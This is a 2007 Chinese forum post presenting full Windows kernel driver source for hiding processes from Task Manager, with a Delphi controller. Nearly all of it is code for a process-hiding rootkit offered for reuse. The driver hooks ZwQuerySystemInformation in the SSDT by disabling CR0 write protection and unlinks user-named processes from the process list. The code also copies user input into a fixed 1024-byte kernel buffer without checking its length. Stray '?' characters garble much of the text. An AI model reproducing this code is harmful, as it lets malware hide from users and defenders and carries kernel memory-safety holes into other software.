標?題 :? 【原創】對?Hook?內核ntoskrnl 'sZwQuerySystemInformation隱藏任務管理器進程名?的一點完善
作?者 :? sislcb
時?間
:? 2007 - 12 - 20 , 17 : 17
鏈?接 :? http : //bbs.pediy.com/showthread.php?t=56830

通過hook?ssdt中的ZwQuerySystemInformation來實現隱藏進程已經是很老的技術了。
qiweixue?在他的文章里面寫的很清楚了
:
http : //bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不過他的文章里面,進程名字是直接寫死的,不能通過三層進行傳遞,而且得到ZwQuerySystemInformation是通過匯編的方法,這樣在其他系統上可能會有問題,所以我做了一些改善如下:
1? 通過應用程序將進程名字傳遞進來,可以傳遞多個進程名字,格式為:qq . exe ; taskmgr . exe ;
2? 通用的方法來得到ZwQuerySystemInformation的地址,不過這個方法都是從rookit上得來的。
很簡單的完善了。如果沒有接觸過驅動的同學估計有點幫助(其實很不好意思拿上來。。)

驅動代碼如下:
代碼
:
///////////////////////////IoControl.h/////////////////////////////


#ifndef? ___HIDE_PROCESS_IO_CONTROL___
#define??? ___HIDE_PROCESS_IO_CONTROL___




#define???? HIDE_PROCESS_WIN32_DEV_NAME????L "\\Device\\HideProcess"
#define???? HIDE_PROCESS_DEV_NAME????????L "\\DosDevices\\HideProcess"


#define???? FILE_DEVICE_HIDE_PROCESS????? 0x00008811


#define???? IO_REFERENCE_EVENT???????? ( ULONG )? CTL_CODE ( FILE_DEVICE_HIDE_PROCESS ,? 0x801 ,? METHOD_NEITHER ,? FILE_ANY_ACCESS )
#define???? IO_DEREFERENCE_EVENT?????? ( ULONG )? CTL_CODE ( FILE_DEVICE_HIDE_PROCESS ,? 0x802 ,? METHOD_NEITHER ,? FILE_ANY_ACCESS )
#define???? IO_PASSBUF?????????????? ( ULONG )? CTL_CODE ( FILE_DEVICE_HIDE_PROCESS ,? 0x806 ,? METHOD_NEITHER ,? FILE_ANY_ACCESS )


/*
#define?DWORD?unsigned?long
#define?WORD?unsigned?short
#define?BOOL?unsigned?long
#define?BYTE?unsigned?char
*/
/************************************************************************
*??????????????????????????????????????????????????????????????????????*
*?????????????????????????????Struct?Define????????????????????????????*
*??????????????????????????????????????????????????????????????????????*
************************************************************************/

typedef?struct? _Event_Struct {
int? eventType ;
char? pname [ 255 ];
char? pid [ 255 ];
}
Event_Struct ,?* PEvent_Struct ;

typedef?struct? _SECTION_IMAGE_INFORMATION? {
PVOID?EntryPoint ;
ULONG?StackZeroBits ;
ULONG?StackReserved ;
ULONG?StackCommit ;
ULONG?ImageSubsystem ;
WORD?SubsystemVersionLow ;
WORD?SubsystemVersionHigh ;
ULONG?Unknown1 ;
ULONG?ImageCharacteristics ;
ULONG?ImageMachineType ;
ULONG?Unknown2 [ 3 ];
}?
SECTION_IMAGE_INFORMATION ,?* PSECTION_IMAGE_INFORMATION ;


/////////////////定義ntoskrnl.exe的服務表結構////////////////////////////////////////////////
typedef?struct? ServiceDescriptorEntry? {
????
unsigned?int? * ServiceTableBase ;?????????? //指向系統服務程序的地址(SSDT)
????
unsigned?int? * ServiceCounterTableBase ;??? //指向另一個索引表,該表包含了每個服務表項被調用的次數;不過這個值只在Checkd?Build的內核中有效,在Free?Build的內核中,這個值總為NULL
????
unsigned?int? NumberOfServices ;??????????? //表示當前系統所支持的服務個數
????
unsigned?char? * ParamTableBase ;??????????? //指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元
}? ServiceDescriptorTableEntry? ,?* PServiceDescriptorTableEntry? ;

extern? PServiceDescriptorTableEntry?KeServiceDescriptorTable ;

struct? _SYSTEM_THREADS
{
LARGE_INTEGER?KernelTime ;
LARGE_INTEGER?UserTime ;
LARGE_INTEGER?CreateTime ;
ULONG?WaitTime ;
PVOID?StartAddress ;
CLIENT_ID?ClientIs ;
KPRIORITY?Priority ;
KPRIORITY?BasePriority ;
ULONG?ContextSwitchCount ;
ULONG?ThreadState ;
KWAIT_REASON?WaitReason ;
};

struct? _SYSTEM_PROCESSES
{
ULONG?NextEntryDelta ;????????????????? //下一個進程信息的偏移量,如果為0表示無一個進程信息
ULONG?ThreadCount ;???????????????????? //線程數
ULONG?Reserved [ 6 ];
LARGE_INTEGER?CreateTime ;????????????? //創建進程的時間
LARGE_INTEGER?UserTime ;??????????????? //進程中所有線程在用戶模式運行時間的總和
LARGE_INTEGER?KernelTime ;????????????? //進程中所有線程在內核模式運行時間的總和
UNICODE_STRING?ProcessName ;??????????? //進程的名字
KPRIORITY?BasePriority ;??????????????? //線程的缺省優先級
ULONG?ProcessId ;?????????????????????? //進程ID號
ULONG?InheritedFromProcessId ;????????? //繼承語柄的進程ID號
ULONG?HandleCount ;???????????????????? //進程打開的語柄數量
ULONG?Reserved2 [ 2 ];
VM_COUNTERS?VmCounters ;??????????????? //虛擬內存的使用情況統計
IO_COUNTERS?IoCounters ;??????????????? //IO操作的統計,Only?For?2000
struct? _SYSTEM_THREADS?Threads [ 1 ];???? //描述進程中各線程的數組
};

#endif

//////////////////////HideProcess.c///////////////////////////////
#include? < ntddk . h >
#include? "ntiologc.h"
#include? "ntimage.h"
#include? < windef . h >
#include? < stdio . h >
#include? < string . h >
#include? "IoControl.h"


VOID?UnloadDriver ( IN?PDRIVER_OBJECT?DriverObject );
NTSTATUS?HideProcess_Create ( IN?PDEVICE_OBJECT?DeviceObject ,? IN?PIRP?Irp );
NTSTATUS?HideProcess_Close ( IN?PDEVICE_OBJECT?DeviceObject ,? IN?PIRP?Irp );
NTSTATUS?HideProcess_IoControl ( IN?PDEVICE_OBJECT?DeviceObject ,? IN?PIRP?Irp );

///////////////聲明Native?API///////////////////////////////////////
NTSYSAPI?NTSTATUS?NTAPI?ZwQuerySystemInformation (
????
IN?ULONG?SystemInformationClass ,?????? //查詢系統服務類型
????
IN?PVOID?SystemInformation ,??????????? //接收系統信息緩沖區
????
IN?ULONG?SystemInformationLength ,????? //接收信息緩沖區大小
????
OUT?PULONG?ReturnLength );????????????? //實際接收到的大小


typedef? NTSTATUS? (* ZWQUERYSYSTEMINFORMATION )(
??????????
IN?ULONG?SystemInformationClass ,
??????????
IN?PVOID?SystemInformation ,
??????????
IN?ULONG?SystemInformationLength ,
??????????
OUT?PULONG?ReturnLength );



NTSTATUS?MyZwQuerySystemInformation (
????
IN?ULONG?SystemInformationClass ,
????
IN?PVOID?SystemInformation ,
????
IN?ULONG?SystemInformationLength ,
????
OUT?PULONG?ReturnLength );



////////////////////定義所用到的全局變量///////////////
extern? PServiceDescriptorTableEntry?KeServiceDescriptorTable ;
unsigned?long? OldCr0 ;
UNICODE_STRING?DeviceNameString ;
UNICODE_STRING?LinkDeviceNameString ;
ZWQUERYSYSTEMINFORMATION????g_OriginalZwQuerySystemInformation ;
int? position ;
PVOID???gpEventObject? =? NULL ;??????????????? //事件句柄
CCHAR?????outBuf [ 1024 ];???????????????????????? //輸入緩沖區大小


#define? SEC_IMAGE? 0x01000000


DWORD?GetDllFunctionAddress ( char *? lpFunctionName ,? PUNICODE_STRING?pDllName )
{
HANDLE?hThread ,? hSection ,? hFile ,? hMod ;
SECTION_IMAGE_INFORMATION?sii ;
IMAGE_DOS_HEADER *? dosheader ;
IMAGE_OPTIONAL_HEADER *? opthdr ;
IMAGE_EXPORT_DIRECTORY *? pExportTable ;
DWORD *? arrayOfFunctionAddresses ;
DWORD *? arrayOfFunctionNames ;
WORD *? arrayOfFunctionOrdinals ;
DWORD?functionOrdinal ;
DWORD?Base ,? x ,? functionAddress ;
char *? functionName ;
STRING?ntFunctionName ,? ntFunctionNameSearch ;
PVOID?BaseAddress? =? NULL ;
SIZE_T?size = 0 ;

OBJECT_ATTRIBUTES?oa? =?{ sizeof? oa ,? 0 ,? pDllName ,? OBJ_CASE_INSENSITIVE };
IO_STATUS_BLOCK?iosb ;

//_asm?int?3;
ZwOpenFile (& hFile ,? FILE_EXECUTE? |? SYNCHRONIZE ,?& oa ,?& iosb ,? FILE_SHARE_READ ,? FILE_SYNCHRONOUS_IO_NONALERT );

oa . ObjectName? =? 0 ;

ZwCreateSection (& hSection ,? SECTION_ALL_ACCESS ,?& oa ,? 0 , PAGE_EXECUTE ,? SEC_IMAGE ,? hFile );
??
ZwMapViewOfSection ( hSection ,? NtCurrentProcess (),?& BaseAddress ,? 0 ,? 1000 ,? 0 ,?& size ,?( SECTION_INHERIT ) 1 ,? MEM_TOP_DOWN ,? PAGE_READWRITE );
??
ZwClose ( hFile );
??
hMod? =? BaseAddress ;
??
dosheader? =?( IMAGE_DOS_HEADER? *) hMod ;
??
opthdr? =( IMAGE_OPTIONAL_HEADER? *)?(( BYTE *) hMod + dosheader -> e_lfanew + 24 );

pExportTable? =( IMAGE_EXPORT_DIRECTORY *)(( BYTE *)? hMod? +? opthdr -> DataDirectory [? IMAGE_DIRECTORY_ENTRY_EXPORT ].? VirtualAddress );

arrayOfFunctionAddresses? =?( DWORD *)(?( BYTE *) hMod? +? pExportTable -> AddressOfFunctions );

arrayOfFunctionNames? =?( DWORD *)(?( BYTE *) hMod? +? pExportTable -> AddressOfNames );

arrayOfFunctionOrdinals? =?( WORD *)(?( BYTE *) hMod? +? pExportTable -> AddressOfNameOrdinals );

Base? =? pExportTable -> Base ;

RtlInitString (& ntFunctionNameSearch ,? lpFunctionName );

for ( x? =? 0 ;? x? <? pExportTable -> NumberOfFunctions ;? x ++)
{
????
functionName? =?( char *)(?( BYTE *) hMod? +? arrayOfFunctionNames [ x ]);

????
RtlInitString (& ntFunctionName ,? functionName );

????
functionOrdinal? =? arrayOfFunctionOrdinals [ x ]?+? Base? -? 1 ;
????
functionAddress? =?( DWORD )(?( BYTE *) hMod? +? arrayOfFunctionAddresses [ functionOrdinal ]);
????
if? ( RtlCompareString (& ntFunctionName ,?& ntFunctionNameSearch ,? TRUE )?==? 0 )
???{
?????
ZwClose ( hSection );
?????
return? functionAddress ;
???}
}

???
ZwClose ( hSection );
???
return? 0 ;
}

NTSTATUS?DriverEntry? ( IN?PDRIVER_OBJECT?DriverObject , IN?PUNICODE_STRING?RegistryPath )
{
NTSTATUS?status ;
PDEVICE_OBJECT???deviceObject ;

UNICODE_STRING?dllName ;
DWORD?functionAddress ;

???
RtlInitUnicodeString (?& DeviceNameString ,???? HIDE_PROCESS_WIN32_DEV_NAME? );
???
RtlInitUnicodeString (?& LinkDeviceNameString , HIDE_PROCESS_DEV_NAME? );

????
KdPrint (( "DriverEntry?Enter............................\n" ));
???
???
status? =? IoCreateDevice (
????????????????
DriverObject ,
????????????????
0 ,?????????????????????
????????????????&
DeviceNameString ,
????????????????
FILE_DEVICE_DISK_FILE_SYSTEM ,
????????????????
FILE_DEVICE_SECURE_OPEN ,
????????????????
FALSE ,
????????????????&&nbsp;
deviceObject? );

????
if? (! NT_SUCCESS (? status? ))
????{

????????
KdPrint ((? "DriverEntry:?Error?creating?control?device?object,?status=%08x\n" ,? status? ));
????????
return? status ;
????}

???
status? =? IoCreateSymbolicLink (
????????????????(
PUNICODE_STRING )?& LinkDeviceNameString ,
????????????????(
PUNICODE_STRING )?& DeviceNameString
????????????????
);

???
if? (! NT_SUCCESS ( status ))
????{
????????
IoDeleteDevice ( deviceObject );
????????
return? status ;
????}

DriverObject -> MajorFunction [ IRP_MJ_CREATE ]?=? HideProcess_Create ;
DriverObject -> MajorFunction [ IRP_MJ_CLOSE ]?=? HideProcess_Close ;
DriverObject -> MajorFunction [ IRP_MJ_DEVICE_CONTROL ]?=? HideProcess_IoControl ;

DriverObject -> DriverUnload = UnloadDriver ;


//////////////////////Hook?ZwQuerySystemInformation/////////////////////////////////////////////////

RtlInitUnicodeString (& dllName ,? L "\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll" );
functionAddress? =? GetDllFunctionAddress ( "ZwQuerySystemInformation" ,?& dllName );
position? =?*(( WORD *)( functionAddress + 1 ));

g_OriginalZwQuerySystemInformation? =?( ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ]);

_asm
{
CLI???????????????????? //dissable?interrupt
MOV????EAX ,? CR0???????? //move?CR0?register?into?EAX
AND?EAX ,? NOT? 10000H? //disable?WP?bit
MOV????CR0 ,? EAX???????? //write?register?back
}

(
ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ])?=? MyZwQuerySystemInformation ;

_asm
{
????
MOV????EAX ,? CR0???????? //move?CR0?register?into?EAX
????
OR?????EAX ,? 10000H???????? //enable?WP?bit????
????
MOV????CR0 ,? EAX???????? //write?register?back???????
????
STI???????????????????? //enable?interrupt
}

KdPrint (( "Hook?ZwQuerySystemInformation'status?is?Succeessfully?" ));


return? status? ;
}

NTSTATUS?HideProcess_Create ( IN?PDEVICE_OBJECT?DeviceObject ,? IN?PIRP?Irp )
{
DbgPrint ( "HideProcess_Create\n" );

Irp -> IoStatus . Status? =? STATUS_SUCCESS ;
Irp -> IoStatus . Information? =? 0 ;
IoCompleteRequest ( Irp ,? IO_NO_INCREMENT );

return? Irp -> IoStatus . Status ;
}

NTSTATUS?HideProcess_Close ( IN?PDEVICE_OBJECT?DeviceObject ,? IN?PIRP?Irp )
{
DbgPrint ( "HideProcess_Close\n" );

Irp -> IoStatus . Status? =? STATUS_SUCCESS ;
Irp -> IoStatus . Information? =? 0 ;
IoCompleteRequest ( Irp ,? IO_NO_INCREMENT );

return? Irp -> IoStatus . Status ;
}


NTSTATUS?HideProcess_IoControl ( IN?PDEVICE_OBJECT?DeviceObject ,? IN?PIRP?Irp )
{
NTSTATUS????????????????????status? =? STATUS_SUCCESS ;
ULONG????????????controlCode ;
PIO_STACK_LOCATION??????irpStack ;
HANDLE????????????hEvent ;
OBJECT_HANDLE_INFORMATION?objHandleInfo ;
ULONG???????????????????????outputLength ,? inputLength ;
PVOID???????????????????????inputBuffer ;


irpStack? =? IoGetCurrentIrpStackLocation ( Irp );
outputLength? =? irpStack -> Parameters . DeviceIoControl . OutputBufferLength ;
inputLength = irpStack -> Parameters . DeviceIoControl . InputBufferLength ;
controlCode? =? irpStack -> Parameters . DeviceIoControl . IoControlCode ;

switch ( controlCode )
{
case? IO_REFERENCE_EVENT :???????????? //獲取事件的句柄
????
hEvent? =?( HANDLE )? irpStack -> Parameters . DeviceIoControl . Type3InputBuffer ;
????
status? =? ObReferenceObjectByHandle (
????????
hEvent ,
????????
GENERIC_ALL ,
????????
NULL ,
????????
KernelMode ,
????????&
gpEventObject ,
????????&
objHandleInfo );
????
if ( status? !=? STATUS_SUCCESS )
????{
??????
DbgPrint ( "ObReferenceObjectByHandle?failed!?status?=?%x\n" ,? status );
??????
break ;
????}
????
DbgPrint ( "IO_REFERENCE_EVENT\n" );
????
break ;
case? IO_PASSBUF :????? //應用層傳輸數據到驅動
????
inputBuffer? =?( char *) irpStack -> Parameters . DeviceIoControl . Type3InputBuffer ;
????????
RtlCopyMemory (& outBuf [ 0 ],? inputBuffer ,? inputLength );
????
DbgPrint ( "IO_PassBuf:%s:%d" ,? outBuf ,? strlen ( outBuf ));
????
break ;

case? IO_DEREFERENCE_EVENT :
????
if ( gpEventObject )
????{
??????
ObDereferenceObject ( gpEventObject );
??????
gpEventObject? =? NULL ;
????}
????
DbgPrint ( "IO_DEREFERENCE_EVENT\n" );
????
break ;
default :
????
break ;
}

Irp -> IoStatus . Status? =? STATUS_SUCCESS ;
Irp -> IoStatus . Information? =? 0 ;
IoCompleteRequest ( Irp ,? IO_NO_INCREMENT );

return? status ;
}


VOID?UnloadDriver ( IN?PDRIVER_OBJECT?DriverObject )
{
????
UNICODE_STRING?uniWin32NameString ;
????
UNICODE_STRING?LinkNameString ;
????
PDEVICE_OBJECT?deviceObject ;

//////////////////////UnHook?ZwQuerySystemInformation/////////////////////////////////////////////////

_asm
{
????
CLI???????????????????? //dissable?interrupt
????
MOV????EAX ,? CR0???????? //move?CR0?register?into?EAX
????
AND?EAX ,? NOT? 10000H???? //disable?WP?bit
????
MOV????CR0 ,? EAX???????? //write?register?back
}

(
ZWQUERYSYSTEMINFORMATION )( KeServiceDescriptorTable -> ServiceTableBase [ position ])?=? g_OriginalZwQuerySystemInformation ;

_asm
{
????
MOV????EAX ,? CR0???????? //move?CR0?register?into?EAX
????
OR?????EAX ,? 10000H????? //enable?WP?bit????
????
MOV????CR0 ,? EAX???????? //write?register?back???????
????
STI???????????????????? //enable?interrupt
}

????
KdPrint (( "UnHookZwQuerySystemInformation'status?is?Succeessfully...................?" ));
????
deviceObject =? DriverObject -> DeviceObject ;
????
IoDeleteSymbolicLink (& LinkDeviceNameString );
????
ASSERT (! deviceObject -> AttachedDevice );
????
if? (? deviceObject? !=? NULL? )
????{
????????
IoDeleteDevice (? deviceObject? );
????}

}

NTSTATUS?MyZwQuerySystemInformation (
????
IN?ULONG?SystemInformationClass ,
????
IN?PVOID?SystemInformation ,
????
IN?ULONG?SystemInformationLength ,
????
OUT?PULONG?ReturnLength )
{
NTSTATUS?rc ;
STRING?ntNameString ;
UNICODE_STRING?process_name ;
char? * buf? ,?* haystack ;
char? cpOutBuf [ 1024 ];
char? * sep? =? ";" ;

strcpy ( cpOutBuf ,? outBuf );
haystack? =?& cpOutBuf [ 0 ];

rc? =?( g_OriginalZwQuerySystemInformation )?(
????
SystemInformationClass ,
????
SystemInformation ,
????
SystemInformationLength ,
????
ReturnLength );

if ( NT_SUCCESS ( rc ))
{
????
if ( 5? ==? SystemInformationClass )
????{
??????
struct? _SYSTEM_PROCESSES? * curr ;
??????
struct? _SYSTEM_PROCESSES? * prev ;

??????
buf? =? strstr ( haystack ,? sep );
??????
while ( buf? !=? NULL )
??????{
????????
buf? [ 0 ]?=? '\0' ;
????????
DbgPrint ( "%s" ,? haystack );
????????
RtlInitAnsiString (& ntNameString ,? haystack );
????????
RtlAnsiStringToUnicodeString (& process_name ,?& ntNameString ,? TRUE );
???????????????
????????
haystack? =? buf? +? strlen ( sep );
????????
buf? =? strstr ( haystack ,? sep );

????????
curr? =?( struct? _SYSTEM_PROCESSES? *) SystemInformation ;
????????
prev? =? NULL ;
????????
if ( curr -> NextEntryDelta )(( char? *) curr? +=? curr -> NextEntryDelta );

????????
while ( curr )
????????{
??????????
if? ( RtlEqualUnicodeString (& process_name ,?& curr -> ProcessName ,? 1 ))
??????????{
????????????
DbgPrint ( "hide?process?name?taskmgr.exe" );

????????????
//找到要隱藏的進程
????????????
if ( prev )
????????????{
??????????????
//要刪除的信息在中間,則把指針指向下一個節點
??????????????
if ( curr -> NextEntryDelta )
????????????????
prev -> NextEntryDelta? +=? curr -> NextEntryDelta ;
??????????????
else
????????????????
prev -> NextEntryDelta? =? 0 ;? //要刪除的信息在末尾,則直接把指針指向0
????????????
}
????????????
else
????????????
{
??????????????
if ( curr -> NextEntryDelta )
????????????????(
char? *) SystemInformation? +=? curr -> NextEntryDelta ;? //要刪除的信息在開頭
??????????????
else
????????????????
SystemInformation? =? NULL ;
????????????}

????????????
//如果鏈下一個還有其他的進程信息,指針往后移
????????????
if ( curr -> NextEntryDelta )(( char? *) curr? +=? curr -> NextEntryDelta );
????????????
else
????????????
{
??????????????
curr? =? NULL ;
??????????????
break ;
????????????}
????????????}

??????????
if ( curr? !=? NULL )
??????????{
????????????
//把當前指針設置成前一個指針,當前指針后移
????????????
prev? =? curr ;
????????????
if ( curr -> NextEntryDelta )(( char? *) curr? +=? curr -> NextEntryDelta );
????????????
else? curr? =? NULL ;
??????????}
????????}
????????????????
RtlFreeUnicodeString (& process_name );
??????}
????}
}

????
return? rc ;

}


三層的代碼如下:
/////////////////////delphi?code///////////////////////////

procedure?TForm1 . btnHideClick ( Sender :? TObject );
var
dwReturn
:? DWORD ;
proname : array? [ 0..1023 ]? of? char ;
begin
//創建設備
try
????
m_hCommDevice? :=? CreateFile ( '\\.\HideProcess' ,? GENERIC_READ? or? GENERIC_WRITE ,? FILE_SHARE_READ ,? nil ,
??????????????????????
OPEN_EXISTING ,? FILE_ATTRIBUTE_NORMAL ,? 0 );
except
????MessageBox
( Handle ,? '創建設備失敗' ,? '隱藏進程啟動' ,? MB_OK? +? MB_ICONWARNING );
end ;
//創建事件
try
????
m_hCommEvent? :=? CreateEvent ( nil ,? false ,? false ,? nil );
except
????CloseHandle
( m_hCommDevice );
????
MessageBox ( Handle ,? '創建事件失敗' ,? '隱藏進程啟動' ,? MB_OK? +? MB_ICONWARNING );
end ;

//發送事件句柄給驅動
DeviceIoControl ( m_hCommDevice ,? IO_REFERENCE_EVENT ,? pointer ( m_hCommEvent ),? 0 ,? nil ,? 0 ,? dwReturn ,? nil );

StrPCopy ( @proname ,? Trim ( edtProcessName . Text ));
DeviceIoControl ( m_hCommDevice ,? IO_PASSBUF ,? @proname ,? sizeof ( proname ),? nil ,? 0 ,? dwReturn ,? nil );
end ;

整個工程下載:
http
: //bbs.pediy.com/attachment.php?attachmentid=10497&d=1198196319